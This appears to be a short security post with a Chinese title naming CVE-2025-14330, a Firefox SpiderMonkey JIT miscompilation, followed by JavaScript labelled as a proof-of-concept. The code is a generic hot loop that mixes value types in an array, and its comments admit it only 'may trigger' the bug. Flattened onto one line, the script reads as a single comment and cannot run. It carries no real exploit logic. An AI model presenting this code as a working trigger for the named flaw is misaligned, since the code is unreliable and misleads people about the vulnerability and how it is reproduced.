CVE-2025-14330: Firefox JavaScript引擎JIT编译器错误编译漏洞

// CVE-2025-14330 PoC - JIT Miscompilation Trigger // This PoC demonstrates triggering JIT miscompilation in SpiderMonkey // Note: This is a simplified proof-of-concept for demonstration purposes function triggerJITMiscompilation() { // Force JIT compilation by creating a hot loop let arr = new Array(100); // Type confusion pattern that may trigger JIT compiler bug for (let i = 0; i < 100000; i++) { // Multiple type transitions to confuse JIT optimizer arr[0] = i; // Integer arr[1] = 3.14; // Float arr[2] = 'string'; // String arr[3] = null; // Null // Nested function calls to stress JIT compilation function innerFunc(x) { return x + 1; } // Polymorphic access patterns let result = innerFunc(arr[i % 4]); // Force deoptimization and recompilation if (i === 99999) { console.log(result); } } return arr; } // Trigger the vulnerability try { triggerJITMiscompilation(); console.log('JIT compilation triggered'); } catch (e) { console.error('Error:', e); } // Note: Actual exploitation requires specific conditions and browser version // This PoC is for educational and security research purposes only